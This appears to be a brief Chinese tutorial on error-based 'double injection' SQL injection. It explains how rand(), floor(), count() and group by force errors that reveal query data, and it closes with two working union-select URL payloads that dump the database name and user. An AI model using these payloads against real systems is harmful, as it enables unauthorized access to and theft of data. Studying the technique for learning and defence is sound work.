前言
什么是双注入?
双注入就是嵌套子查询,多走一条查询或者数据排序途径,获取想要的数据,例如select …(select …),里面的那个select被称为子查询,它的执行顺序先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数利用:
rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by cluase分组语句,按照cluase对查询结果分组
原理
当一个字符串函数,例如concat函数后面如果使用分组语句就会把查询,的一部分以错误的形式显示出来。
payload
第一次结果得不到,那就那就在提交请求几次,因为rand是一个随机数;下面payload也是如此。
//爆库 ?id=1' union select count(*),1,concat("-",(select database()), "-", floor(rand()*2 )) as a from information_schema.tables group by a --+ //爆user ?id=1' union select count(*),1,concat("-",(select user()), "-", floor(rand()*2 )) as a from information_schema.tables group by a --+